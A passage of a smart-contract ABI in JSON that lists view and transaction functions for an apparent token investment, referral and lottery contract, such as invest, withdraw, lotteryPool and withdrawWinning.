"name":"getUserReferrer","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getUserTotalBonus","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getUserTotalDeposits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"userAddress","type":"address"}],"name":"getUserTotalWithdrawn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"referrer","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"invest","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"investToken","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"invost","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"lotteryPool","outputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"obsoleteExit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"obsoleteExitTo","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"presentDayAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"presentDaysInterval","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"presentPercent","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"projectAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rewardPool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_rewardPool","type":"address"}],"name":"setRewardPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalDeposits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalInvested","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalLottery","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalLotteryReward","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalUsers","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalWithdrawn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint256","name":"","type":"uint256"}],"name":"userLotteryTicker","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"winningAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawWinning","outputs":[],"stateMutability":"nonpayable","type":"function"}]